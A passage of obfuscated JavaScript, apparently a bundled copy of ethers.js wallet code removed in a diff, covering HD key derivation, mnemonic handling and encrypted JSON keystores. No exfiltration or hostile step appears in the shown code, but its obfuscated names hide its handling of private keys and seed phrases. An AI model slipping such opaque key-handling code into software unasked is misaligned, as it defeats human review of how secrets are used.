- var _0x128835 = new Date();
- var _0x5b07b4 = "UTC--" + _0x128835.getUTCFullYear() + "-" + _0xbca0b3(_0x128835.getUTCMonth() + 1, 2) + "-" + _0xbca0b3(_0x128835.getUTCDate(), 2) + "T" + _0xbca0b3(_0x128835.getUTCHours(), 2) + "-" + _0xbca0b3(_0x128835.getUTCMinutes(), 2) + "-" + _0xbca0b3(_0x128835.getUTCSeconds(), 2) + ".0Z--" + _0x20f4dd.address;
- _0x20f4dd["x-ethers"] = {
- client: _0x190d4b,
- gethFilename: _0x5b07b4,
- path: _0x2609cc,
- locale: _0x30d0a5,
- mnemonicCounter: _0x192257(_0x2bfcec).substring(2),
- mnemonicCiphertext: _0x192257(_0x2ddf82).substring(2),
- version: "0.1"
- };
- }
- return JSON.stringify(_0x20f4dd);
- }
- function _0x3685a6(_0x30e6a3, _0x4300e1, _0x2ed930) {
- null == _0x2ed930 && (_0x2ed930 = {});
- var _0x29e82f = _0x387c7f(_0x4300e1);
- var _0x8a14cd = _0x2b3f87(_0x2ed930);
- return _0x599af0(_0x2565f8(_0x24191b(_0x29e82f, _0x8a14cd.salt, _0x8a14cd.N, _0x8a14cd.r, _0x8a14cd.p, 64)), _0x8a14cd, _0x30e6a3, _0x2ed930);
- }
- function _0x48a467(_0x330777, _0x46431d, _0x38d616) {
- return _0x4d1c3a.apply(this, arguments);
- }
- function _0x4d1c3a() {
- return (_0x4d1c3a = _0x203d83(_0x4afc9d.mark(function _0x58d685(_0x5d2610, _0x780fc9, _0x449da2) {
- var _0x1cf2fb;
- var _0x3c1aed;
- var _0x26444b;
- return _0x4afc9d.wrap(function (_0x4eaab8) {
- for (;;) {
- switch (_0x4eaab8.prev = _0x4eaab8.next) {
- case 0:
- null == _0x449da2 && (_0x449da2 = {});
- _0x1cf2fb = _0x387c7f(_0x780fc9);
- _0x3c1aed = _0x2b3f87(_0x449da2);
- _0x4eaab8.next = 5;
- return _0x235b48(_0x1cf2fb, _0x3c1aed.salt, _0x3c1aed.N, _0x3c1aed.r, _0x3c1aed.p, 64, _0x449da2.progressCallback);
- case 5:
- _0x26444b = _0x4eaab8.sent;
- return _0x4eaab8.abrupt("return", _0x599af0(_0x2565f8(_0x26444b), _0x3c1aed, _0x5d2610, _0x449da2));
- case 7:
- case "end":
- return _0x4eaab8.stop();
- }
- }
- }, _0x58d685);
- }))).apply(this, arguments);
- }
- function _0x195350(_0xfba3f6) {
- var _0x10cbe8 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x90b0f0) {
- return false;
- }
- }();
- return function () {
- var _0x2a55c7;
- var _0x552618 = _0x1cc855(_0xfba3f6);
- if (_0x10cbe8) {
- var _0x452a4c = _0x1cc855(this).constructor;
- _0x2a55c7 = Reflect.construct(_0x552618, arguments, _0x452a4c);
- } else {
- _0x2a55c7 = _0x552618.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x2a55c7);
- };
- }
- function _0x47333c(_0xa5d744, _0x1ada5b, _0x2c0dd0) {
- (function (_0x4b8397, _0x68dc3c) {
- if (_0x4b8397 !== _0x68dc3c) {
- throw new TypeError("Private static access of wrong provenance");
- }
- })(_0xa5d744, _0x1ada5b);
- return _0x2c0dd0;
- }
- function _0x18d66d(_0x34c2c7, _0x31d0c0, _0x1237b8) {
- if (!_0x31d0c0.has(_0x34c2c7)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x1237b8;
- }
- var _0x1e86fc = "m/44'/60'/0'/0/0";
- var _0x2a7c55 = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]);
- var _0x3c2166 = 2147483648;
- var _0x34dedb = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");
- var _0x5e960d = "0123456789abcdef";
- function _0x52a811(_0x996188, _0x69341e) {
- for (var _0x42f78c = ""; _0x996188;) {
- _0x42f78c = _0x5e960d[_0x996188 % 16] + _0x42f78c;
- _0x996188 = Math.trunc(_0x996188 / 16);
- }
- for (; _0x42f78c.length < 2 * _0x69341e;) {
- _0x42f78c = "0" + _0x42f78c;
- }
- return "0x" + _0x42f78c;
- }
- function _0x9fec01(_0x528cd8) {
- var _0x58fce4 = _0x2565f8(_0x528cd8);
- return function (_0x4fa177) {
- for (var _0x29c684 = _0xafeb24(_0x2565f8(_0x4fa177)), _0x446672 = ""; _0x29c684;) {
- _0x446672 = _0x2e6f88[Number(_0x29c684 % _0x1dfbb2)] + _0x446672;
- _0x29c684 /= _0x1dfbb2;
- }
- return _0x446672;
- }(_0x251cd2([_0x58fce4, _0x3ec258(_0x38416e(_0x38416e(_0x58fce4)), 0, 4)]));
- }
- var _0x5c4c98 = {};
- function _0x3441ae(_0x29a366, _0x1964e, _0x19c740, _0x5d50b1) {
- var _0x3ecc54 = new Uint8Array(37);
- _0x29a366 & _0x3c2166 ? (_0x2b816d(null != _0x5d50b1, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", {
- operation: "deriveChild"
- }), _0x3ecc54.set(_0x2565f8(_0x5d50b1), 1)) : _0x3ecc54.set(_0x2565f8(_0x19c740));
- for (var _0x20d812 = 24; _0x20d812 >= 0; _0x20d812 -= 8) {
- _0x3ecc54[33 + (_0x20d812 >> 3)] = _0x29a366 >> 24 - _0x20d812 & 255;
- }
- var _0x7ef3e = _0x2565f8(_0x49fe90("sha512", _0x1964e, _0x3ecc54));
- return {
- IL: _0x7ef3e.slice(0, 32),
- IR: _0x7ef3e.slice(32)
- };
- }
- function _0xaa96e6(_0x24fb61, _0x22d0fb) {
- var _0x4ff14d = _0x22d0fb.split("/");
- _0x413a2d(_0x4ff14d.length > 0 && ("m" === _0x4ff14d[0] || _0x24fb61.depth > 0), "invalid path", "path", _0x22d0fb);
- "m" === _0x4ff14d[0] && _0x4ff14d.shift();
- for (var _0x9535d5 = _0x24fb61, _0x4bb568 = 0; _0x4bb568 < _0x4ff14d.length; _0x4bb568++) {
- var _0x313217 = _0x4ff14d[_0x4bb568];
- if (_0x313217.match(/^[0-9]+'$/)) {
- var _0x132361 = parseInt(_0x313217.substring(0, _0x313217.length - 1));
- _0x413a2d(_0x132361 < _0x3c2166, "invalid path index", "path[".concat(_0x4bb568, "]"), _0x313217);
- _0x9535d5 = _0x9535d5.deriveChild(_0x3c2166 + _0x132361);
- } else {
- if (_0x313217.match(/^[0-9]+$/)) {
- var _0x2065fa = parseInt(_0x313217);
- _0x413a2d(_0x2065fa < _0x3c2166, "invalid path index", "path[".concat(_0x4bb568, "]"), _0x313217);
- _0x9535d5 = _0x9535d5.deriveChild(_0x2065fa);
- } else {
- _0x413a2d(false, "invalid path component", "path[".concat(_0x4bb568, "]"), _0x313217);
- }
- }
- }
- return _0x9535d5;
- }
- var _0xfd2a40 = new WeakSet();
- var _0x3f9191 = function (_0x1cca6a) {
- _0x2e6032(_0x55d1d1, _0x1cca6a);
- var _0x2985db;
- var _0x2e573b = _0x195350(_0x55d1d1);
- function _0x55d1d1(_0x20bebe, _0x3af5f1, _0x4ba598, _0x53208d, _0x18f756, _0x4ed970, _0x2d05e3, _0x3f0d43, _0x401f96) {
- var _0x2e8b75;
- var _0x565acb;
- var _0x293635;
- _0x1d998d(this, _0x55d1d1);
- (function (_0x4fac32, _0x122a8d) {
- if (_0x122a8d.has(_0x4fac32)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- })(_0x565acb = _0x3ea587(_0x2e8b75 = _0x2e573b.call(this, _0x3af5f1, _0x401f96)), _0x293635 = _0xfd2a40);
- _0x293635.add(_0x565acb);
- _0x713ed3(_0x3ea587(_0x2e8b75), "publicKey", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "fingerprint", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "parentFingerprint", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "mnemonic", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "chainCode", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "path", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "index", undefined);
- _0x713ed3(_0x3ea587(_0x2e8b75), "depth", undefined);
- _0x5c4373(_0x20bebe, _0x5c4c98, "HDNodeWallet");
- _0x7e8dd6(_0x3ea587(_0x2e8b75), {
- publicKey: _0x3af5f1.compressedPublicKey
- });
- var _0x1cabe4 = _0x3ec258(_0x12cc3d(_0x38416e(_0x2e8b75.publicKey)), 0, 4);
- _0x7e8dd6(_0x3ea587(_0x2e8b75), {
- parentFingerprint: _0x4ba598,
- fingerprint: _0x1cabe4,
- chainCode: _0x53208d,
- path: _0x18f756,
- index: _0x4ed970,
- depth: _0x2d05e3
- });
- _0x7e8dd6(_0x3ea587(_0x2e8b75), {
- mnemonic: _0x3f0d43
- });
- return _0x2e8b75;
- }
- _0x561e78(_0x55d1d1, [{
- key: "connect",
- value: function (_0x11ae79) {
- return new _0x55d1d1(_0x5c4c98, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, _0x11ae79);
- }
- }, {
- key: "encrypt",
- value: (_0x2985db = _0x203d83(_0x4afc9d.mark(function _0x2e18cb(_0x52137d, _0x4f36b2) {
- return _0x4afc9d.wrap(function (_0x7e5b1d) {
- for (;;) {
- switch (_0x7e5b1d.prev = _0x7e5b1d.next) {
- case 0:
- _0x7e5b1d.next = 2;
- return _0x48a467(_0x18d66d(this, _0xfd2a40, _0x59f7fd).call(this), _0x52137d, {
- progressCallback: _0x4f36b2
- });
- case 2:
- return _0x7e5b1d.abrupt("return", _0x7e5b1d.sent);
- case 3:
- case "end":
- return _0x7e5b1d.stop();
- }
- }
- }, _0x2e18cb, this);
- })), function (_0x103afb, _0x11f5ca) {
- return _0x2985db.apply(this, arguments);
- })
- }, {
- key: "encryptSync",
- value: function (_0x465acd) {
- return _0x3685a6(_0x18d66d(this, _0xfd2a40, _0x59f7fd).call(this), _0x465acd);
- }
- }, {
- key: "extendedKey",
- get: function () {
- _0x2b816d(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", {
- operation: "extendedKey"
- });
- return _0x9fec01(_0x251cd2(["0x0488ADE4", _0x52a811(this.depth, 1), this.parentFingerprint, _0x52a811(this.index, 4), this.chainCode, _0x251cd2(["0x00", this.privateKey])]));
- }
- }, {
- key: "hasPath",
- value: function () {
- return null != this.path;
- }
- }, {
- key: "neuter",
- value: function () {
- return new _0x4e8cb9(_0x5c4c98, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider);
- }
- }, {
- key: "deriveChild",
- value: function (_0x2e4ff4) {
- var _0x38a274 = _0x453994(_0x2e4ff4, "index");
- _0x413a2d(_0x38a274 <= 4294967295, "invalid index", "index", _0x38a274);
- var _0x210089 = this.path;
- _0x210089 && (_0x210089 += "/" + (_0x38a274 & ~_0x3c2166), _0x38a274 & _0x3c2166 && (_0x210089 += "'"));
- var _0x155d2e = _0x3441ae(_0x38a274, this.chainCode, this.publicKey, this.privateKey);
- var _0x311039 = _0x155d2e.IR;
- var _0x450c18 = _0x155d2e.IL;
- var _0x5e7a1f = new _0xda262b(_0x4fc59d((_0xafeb24(_0x450c18) + BigInt(this.privateKey)) % _0x34dedb, 32));
- return new _0x55d1d1(_0x5c4c98, _0x5e7a1f, this.fingerprint, _0x192257(_0x311039), _0x210089, _0x38a274, this.depth + 1, this.mnemonic, this.provider);
- }
- }, {
- key: "derivePath",
- value: function (_0x10ed85) {
- return _0xaa96e6(this, _0x10ed85);
- }
- }], [{
- key: "fromExtendedKey",
- value: function (_0x1f01c7) {
- var _0x3de7d7 = _0x30872d(function (_0x5de872) {
- for (var _0x369d2b = _0x4d18b3, _0x54d0a9 = 0; _0x54d0a9 < _0x5de872.length; _0x54d0a9++) {
- _0x369d2b *= _0x1dfbb2;
- _0x369d2b += _0x109300(_0x5de872[_0x54d0a9]);
- }
- return _0x369d2b;
- }(_0x1f01c7));
- _0x413a2d(82 === _0x3de7d7.length || _0x9fec01(_0x3de7d7.slice(0, 78)) === _0x1f01c7, "invalid extended key", "extendedKey", "[ REDACTED ]");
- var _0x1cdb19 = _0x3de7d7[4];
- var _0x28bacb = _0x192257(_0x3de7d7.slice(5, 9));
- var _0x26df52 = parseInt(_0x192257(_0x3de7d7.slice(9, 13)).substring(2), 16);
- var _0x2da016 = _0x192257(_0x3de7d7.slice(13, 45));
- var _0x144bec = _0x3de7d7.slice(45, 78);
- switch (_0x192257(_0x3de7d7.slice(0, 4))) {
- case "0x0488b21e":
- case "0x043587cf":
- var _0x38fb66 = _0x192257(_0x144bec);
- return new _0x4e8cb9(_0x5c4c98, _0x1f62c(_0x38fb66), _0x38fb66, _0x28bacb, _0x2da016, null, _0x26df52, _0x1cdb19, null);
- case "0x0488ade4":
- case "0x04358394 ":
- if (0 !== _0x144bec[0]) {
- break;
- }
- return new _0x55d1d1(_0x5c4c98, new _0xda262b(_0x144bec.slice(1)), _0x28bacb, _0x2da016, null, _0x26df52, _0x1cdb19, null, null);
- }
- _0x413a2d(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]");
- }
- }, {
- key: "createRandom",
- value: function (_0x3d6c7f, _0x112994, _0x2c6fb9) {
- null == _0x3d6c7f && (_0x3d6c7f = "");
- null == _0x112994 && (_0x112994 = _0x1e86fc);
- null == _0x2c6fb9 && (_0x2c6fb9 = _0x3b9cc4.wordlist());
- var _0x240038 = _0x4be2c8.fromEntropy(_0x28446a(16), _0x3d6c7f, _0x2c6fb9);
- return _0x47333c(_0x55d1d1, _0x55d1d1, _0x3cf98f).call(_0x55d1d1, _0x240038.computeSeed(), _0x240038).derivePath(_0x112994);
- }
- }, {
- key: "fromMnemonic",
- value: function (_0x43b1c8, _0x460270) {
- _0x460270 || (_0x460270 = _0x1e86fc);
- return _0x47333c(_0x55d1d1, _0x55d1d1, _0x3cf98f).call(_0x55d1d1, _0x43b1c8.computeSeed(), _0x43b1c8).derivePath(_0x460270);
- }
- }, {
- key: "fromPhrase",
- value: function (_0x2fccc, _0x30a4c6, _0x3a6736, _0x1af8b5) {
- null == _0x30a4c6 && (_0x30a4c6 = "");
- null == _0x3a6736 && (_0x3a6736 = _0x1e86fc);
- null == _0x1af8b5 && (_0x1af8b5 = _0x3b9cc4.wordlist());
- var _0x1f185a = _0x4be2c8.fromPhrase(_0x2fccc, _0x30a4c6, _0x1af8b5);
- return _0x47333c(_0x55d1d1, _0x55d1d1, _0x3cf98f).call(_0x55d1d1, _0x1f185a.computeSeed(), _0x1f185a).derivePath(_0x3a6736);
- }
- }, {
- key: "fromSeed",
- value: function (_0x2d28b0) {
- return _0x47333c(_0x55d1d1, _0x55d1d1, _0x3cf98f).call(_0x55d1d1, _0x2d28b0, null);
- }
- }]);
- return _0x55d1d1;
- }(_0x2b20c4);
- function _0x59f7fd() {
- var _0x1d0dca = {
- address: this.address,
- privateKey: this.privateKey
- };
- var _0x3e4924 = this.mnemonic;
- this.path && _0x3e4924 && "en" === _0x3e4924.wordlist.locale && "" === _0x3e4924.password && (_0x1d0dca.mnemonic = {
- path: this.path,
- locale: "en",
- entropy: _0x3e4924.entropy
- });
- return _0x1d0dca;
- }
- function _0x3cf98f(_0x28dffe, _0x23e230) {
- _0x413a2d(_0x33b477(_0x28dffe), "invalid seed", "seed", "[REDACTED]");
- var _0x378f10 = _0x2565f8(_0x28dffe, "seed");
- _0x413a2d(_0x378f10.length >= 16 && _0x378f10.length <= 64, "invalid seed", "seed", "[REDACTED]");
- var _0x3e5a7d = _0x2565f8(_0x49fe90("sha512", _0x2a7c55, _0x378f10));
- var _0x4f0771 = new _0xda262b(_0x192257(_0x3e5a7d.slice(0, 32)));
- return new _0x3f9191(_0x5c4c98, _0x4f0771, "0x00000000", _0x192257(_0x3e5a7d.slice(32)), "m", 0, 0, _0x23e230, null);
- }
- var _0x4e8cb9 = function (_0x3da435) {
- _0x2e6032(_0x45d929, _0x3da435);
- var _0x935f4b = _0x195350(_0x45d929);
- function _0x45d929(_0x2c6cb4, _0x4d44c4, _0x17070f, _0x260a0b, _0xaf5a9f, _0xbb995e, _0x4373b2, _0x3ae727, _0x44fd2e) {
- var _0x28c94e;
- _0x1d998d(this, _0x45d929);
- _0x713ed3(_0x3ea587(_0x28c94e = _0x935f4b.call(this, _0x4d44c4, _0x44fd2e)), "publicKey", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "fingerprint", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "parentFingerprint", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "chainCode", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "path", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "index", undefined);
- _0x713ed3(_0x3ea587(_0x28c94e), "depth", undefined);
- _0x5c4373(_0x2c6cb4, _0x5c4c98, "HDNodeVoidWallet");
- _0x7e8dd6(_0x3ea587(_0x28c94e), {
- publicKey: _0x17070f
- });
- var _0xa7f971 = _0x3ec258(_0x12cc3d(_0x38416e(_0x17070f)), 0, 4);
- _0x7e8dd6(_0x3ea587(_0x28c94e), {
- publicKey: _0x17070f,
- fingerprint: _0xa7f971,
- parentFingerprint: _0x260a0b,
- chainCode: _0xaf5a9f,
- path: _0xbb995e,
- index: _0x4373b2,
- depth: _0x3ae727
- });
- return _0x28c94e;
- }
- _0x561e78(_0x45d929, [{
- key: "connect",
- value: function (_0x417a45) {
- return new _0x45d929(_0x5c4c98, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, _0x417a45);
- }
- }, {
- key: "extendedKey",
- get: function () {
- _0x2b816d(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", {
- operation: "extendedKey"
- });
- return _0x9fec01(_0x251cd2(["0x0488B21E", _0x52a811(this.depth, 1), this.parentFingerprint, _0x52a811(this.index, 4), this.chainCode, this.publicKey]));
- }
- }, {
- key: "hasPath",
- value: function () {
- return null != this.path;
- }
- }, {
- key: "deriveChild",
- value: function (_0x4c5575) {
- var _0x4a035f = _0x453994(_0x4c5575, "index");
- _0x413a2d(_0x4a035f <= 4294967295, "invalid index", "index", _0x4a035f);
- var _0x3e4ab8 = this.path;
- _0x3e4ab8 && (_0x3e4ab8 += "/" + (_0x4a035f & ~_0x3c2166), _0x4a035f & _0x3c2166 && (_0x3e4ab8 += "'"));
- var _0x31be49 = _0x3441ae(_0x4a035f, this.chainCode, this.publicKey, null);
- var _0x5d9c9d = _0x31be49.IR;
- var _0x3a7860 = _0x31be49.IL;
- var _0x4368e8 = _0xda262b.addPoints(_0x3a7860, this.publicKey, true);
- var _0x559467 = _0x1f62c(_0x4368e8);
- return new _0x45d929(_0x5c4c98, _0x559467, _0x4368e8, this.fingerprint, _0x192257(_0x5d9c9d), _0x3e4ab8, _0x4a035f, this.depth + 1, this.provider);
- }
- }, {
- key: "derivePath",
- value: function (_0x18e11d) {
- return _0xaa96e6(this, _0x18e11d);
- }
- }]);
- return _0x45d929;
- }(_0x859bdb);
- function _0x314d54(_0x288c79) {
- try {
- if (JSON.parse(_0x288c79).encseed) {
- return true;
- }
- } catch (_0x2f3fe7) {}
- return false;
- }
- function _0x7b9acb(_0x199973, _0x4684df) {
- var _0x1ca7bb = JSON.parse(_0x199973);
- var _0x452a89 = _0x387c7f(_0x4684df);
- var _0x572b3d = _0x46447e(_0x5e8a06(_0x1ca7bb, "ethaddr:string!"));
- var _0x218f14 = _0x4fcb9c(_0x5e8a06(_0x1ca7bb, "encseed:string!"));
- _0x413a2d(_0x218f14 && _0x218f14.length % 16 == 0, "invalid encseed", "json", _0x199973);
- for (var _0xe620a9 = _0x2565f8(_0x7a213d(_0x452a89, _0x452a89, 2000, 32, "sha256")).slice(0, 16), _0x488a22 = _0x218f14.slice(0, 16), _0x15001c = _0x218f14.slice(16), _0x58fa30 = function (_0x3ce5a4) {
- if (_0x3ce5a4.length < 16) {
- throw new TypeError("PKCS#7 invalid length");
- }
- const _0x47937b = _0x3ce5a4[_0x3ce5a4.length - 1];
- if (_0x47937b > 16) {
- throw new TypeError("PKCS#7 padding byte out of range");
- }
- const _0x2ddf71 = _0x3ce5a4.length - _0x47937b;
- for (let _0x2dc01b = 0; _0x2dc01b < _0x47937b; _0x2dc01b++) {
- if (_0x3ce5a4[_0x2ddf71 + _0x2dc01b] !== _0x47937b) {
- throw new TypeError("PKCS#7 invalid padding byte");
- }
- }
- return new Uint8Array(_0x3ce5a4.subarray(0, _0x2ddf71));
- }(_0x2565f8(new _0x5c0c22(_0xe620a9, _0x488a22).decrypt(_0x15001c))), _0x4f4691 = "", _0x52cbb8 = 0; _0x52cbb8 < _0x58fa30.length; _0x52cbb8++) {
- _0x4f4691 += String.fromCharCode(_0x58fa30[_0x52cbb8]);
- }
- return {
- address: _0x572b3d,
- privateKey: _0x261fa4(_0x4f4691)
- };
- }
- function _0x4fbd03(_0xca0357, _0xe32477, _0x5b65b4) {
- (function (_0x53af6a, _0x2253ef) {
- if (_0x53af6a !== _0x2253ef) {
- throw new TypeError("Private static access of wrong provenance");
- }
- })(_0xca0357, _0xe32477);
- return _0x5b65b4;
- }
- function _0x460232(_0xdaf5a3) {
- return new Promise(function (_0x24fedb) {
- setTimeout(function () {
- _0x24fedb();
- }, _0xdaf5a3);
- });
- }
- var _0x280cad = function (_0x307840) {
- _0x2e6032(_0x3f7bc3, _0x307840);
- var _0x1a29f0;
- var _0x14c0bc;
- var _0xe21030;
- var _0x5cd31a;
- _0xe21030 = _0x3f7bc3;
- _0x5cd31a = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x38bef5) {
- return false;
- }
- }();
- var _0x4bf246 = function () {
- var _0x542abe;
- var _0x2dcbc9 = _0x1cc855(_0xe21030);
- if (_0x5cd31a) {
- var _0x5058c3 = _0x1cc855(this).constructor;
- _0x542abe = Reflect.construct(_0x2dcbc9, arguments, _0x5058c3);
- } else {
- _0x542abe = _0x2dcbc9.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x542abe);
- };
- function _0x3f7bc3(_0x461515, _0x29d281) {
- _0x1d998d(this, _0x3f7bc3);
- "string" != typeof _0x461515 || _0x461515.startsWith("0x") || (_0x461515 = "0x" + _0x461515);
- var _0x59415a = "string" == typeof _0x461515 ? new _0xda262b(_0x461515) : _0x461515;
- return _0x4bf246.call(this, _0x59415a, _0x29d281);
- }
- _0x561e78(_0x3f7bc3, [{
- key: "connect",
- value: function (_0x4b6c89) {
- return new _0x3f7bc3(this.signingKey, _0x4b6c89);
- }
- }, {
- key: "encrypt",
- value: (_0x14c0bc = _0x203d83(_0x4afc9d.mark(function _0x8a65d2(_0x2e6514, _0x505a3d) {
- var _0x739c26;
- return _0x4afc9d.wrap(function (_0x3cee34) {
- for (;;) {
- switch (_0x3cee34.prev = _0x3cee34.next) {
- case 0:
- _0x739c26 = {
- address: this.address,
- privateKey: this.privateKey
- };
- _0x3cee34.next = 3;
- return _0x48a467(_0x739c26, _0x2e6514, {
- progressCallback: _0x505a3d
- });
- case 3:
- return _0x3cee34.abrupt("return", _0x3cee34.sent);
- case 4:
- case "end":
- return _0x3cee34.stop();
- }
- }
- }, _0x8a65d2, this);
- })), function (_0x158c4e, _0x850d9a) {
- return _0x14c0bc.apply(this, arguments);
- })
- }, {
- key: "encryptSync",
- value: function (_0xdfa044) {
- return _0x3685a6({
- address: this.address,
- privateKey: this.privateKey
- }, _0xdfa044);
- }
- }], [{
- key: "fromEncryptedJson",
- value: (_0x1a29f0 = _0x203d83(_0x4afc9d.mark(function _0x56c318(_0x461ac5, _0x4b4787, _0x5cdaa2) {
- var _0x2c40e8;
- return _0x4afc9d.wrap(function (_0x318ec7) {
- for (;;) {
- switch (_0x318ec7.prev = _0x318ec7.next) {
- case 0:
- if (_0x2c40e8 = null, !_0x474af8(_0x461ac5)) {
- _0x318ec7.next = 7;
- break;
- }
- _0x318ec7.next = 4;
- return _0x19dfd4(_0x461ac5, _0x4b4787, _0x5cdaa2);
- case 4:
- _0x2c40e8 = _0x318ec7.sent;
- _0x318ec7.next = 17;
- break;
- case 7:
- if (!_0x314d54(_0x461ac5)) {
- _0x318ec7.next = 17;
- break;
- }
- if (!_0x5cdaa2) {
- _0x318ec7.next = 12;
- break;
- }
- _0x5cdaa2(0);
- _0x318ec7.next = 12;
- return _0x460232(0);
- case 12:
- if (_0x2c40e8 = _0x7b9acb(_0x461ac5, _0x4b4787), !_0x5cdaa2) {
- _0x318ec7.next = 17;
- break;
- }
- _0x5cdaa2(1);
- _0x318ec7.next = 17;
- return _0x460232(0);
- case 17:
- return _0x318ec7.abrupt("return", _0x4fbd03(_0x3f7bc3, _0x3f7bc3, _0x4d3cc6).call(_0x3f7bc3, _0x2c40e8));
- case 18:
- case "end":
- return _0x318ec7.stop();
- }
- }
- }, _0x56c318);
- })), function (_0x4c848b, _0x436213, _0x398881) {
- return _0x1a29f0.apply(this, arguments);
- })
- }, {
- key: "fromEncryptedJsonSync",
- value: function (_0x2f3cd6, _0x4833c1) {
- var _0x3066fc = null;
- _0x474af8(_0x2f3cd6) ? _0x3066fc = function (_0x386218, _0x5ef4f9) {
- var _0x5bb8c2 = JSON.parse(_0x386218);
- var _0x7752e2 = _0x387c7f(_0x5ef4f9);
- var _0x4eafc8 = _0x195ccc(_0x5bb8c2);
- return "pbkdf2" === _0x4eafc8.name ? _0x1c7b5c(_0x5bb8c2, _0x7a213d(_0x7752e2, _0x4eafc8.salt, _0x4eafc8.count, _0x4eafc8.dkLen, _0x4eafc8.algorithm)) : (_0x2b816d("scrypt" === _0x4eafc8.name, "cannot be reached", "UNKNOWN_ERROR", {
- params: _0x4eafc8
- }), _0x1c7b5c(_0x5bb8c2, _0x24191b(_0x7752e2, _0x4eafc8.salt, _0x4eafc8.N, _0x4eafc8.r, _0x4eafc8.p, _0x4eafc8.dkLen)));
- }(_0x2f3cd6, _0x4833c1) : _0x314d54(_0x2f3cd6) ? _0x3066fc = _0x7b9acb(_0x2f3cd6, _0x4833c1) : _0x413a2d(false, "invalid JSON wallet", "json", "[ REDACTED ]");
- return _0x4fbd03(_0x3f7bc3, _0x3f7bc3, _0x4d3cc6).call(_0x3f7bc3, _0x3066fc);
- }
- }, {
- key: "createRandom",
- value: function (_0x386907) {
- var _0x33c154 = _0x3f9191.createRandom();
- return _0x386907 ? _0x33c154.connect(_0x386907) : _0x33c154;
- }
- }, {
- key: "fromPhrase",
- value: function (_0x6181ea, _0x3f2694) {
- var _0x3189c6 = _0x3f9191.fromPhrase(_0x6181ea);
- return _0x3f2694 ? _0x3189c6.connect(_0x3f2694) : _0x3189c6;
- }
- }]);
- return _0x3f7bc3;
- }(_0x2b20c4);
- function _0x4d3cc6(_0x163cec) {
- if (_0x413a2d(_0x163cec, "invalid JSON wallet", "json", "[ REDACTED ]"), "mnemonic" in _0x163cec && _0x163cec.mnemonic && "en" === _0x163cec.mnemonic.locale) {
- var _0x3c164d = _0x4be2c8.fromEntropy(_0x163cec.mnemonic.entropy);
- var _0x206ddd = _0x3f9191.fromMnemonic(_0x3c164d, _0x163cec.mnemonic.path);
- if (_0x206ddd.address === _0x163cec.address && _0x206ddd.privateKey === _0x163cec.privateKey) {
- return _0x206ddd;
- }
- console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key");
- }
- var _0x3d5613 = new _0x280cad(_0x163cec.privateKey);
- _0x413a2d(_0x3d5613.address === _0x163cec.address, "address/privateKey mismatch", "json", "[ REDACTED ]");
- return _0x3d5613;
- }
- var _0x22abe2 = {
- en: _0x3b9cc4.wordlist()
- };
- function _0x531454(_0x3abcee) {
- var _0x5dc501 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x7a49e1) {
- return false;
- }
- }();
- return function () {
- var _0x45a1f4;
- var _0x5f4c8b = _0x1cc855(_0x3abcee);
- if (_0x5dc501) {
- var _0x23f544 = _0x1cc855(this).constructor;
- _0x45a1f4 = Reflect.construct(_0x5f4c8b, arguments, _0x23f544);
- } else {
- _0x45a1f4 = _0x5f4c8b.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x45a1f4);
- };
- }
- function _0x2b5fbc(_0xb4cf9b, _0x145f3a) {
- _0x5e3131(_0xb4cf9b, _0x145f3a);
- _0x145f3a.add(_0xb4cf9b);
- }
- function _0x15b26a(_0x1bbdc8, _0x200a56, _0xad25ea) {
- _0x5e3131(_0x1bbdc8, _0x200a56);
- _0x200a56.set(_0x1bbdc8, _0xad25ea);
- }
- function _0x5e3131(_0x55e67e, _0x52ea40) {
- if (_0x52ea40.has(_0x55e67e)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- function _0x1dbc51(_0x1ee95a, _0x91ed90, _0x1f5548) {
- if (!_0x91ed90.has(_0x1ee95a)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x1f5548;
- }
- function _0x5306cc(_0x34f6e3) {
- var _0x1d8b47 = new Set();
- _0x34f6e3.forEach(function (_0x50424f) {
- return _0x1d8b47.add(_0x50424f);
- });
- return Object.freeze(_0x1d8b47);
- }
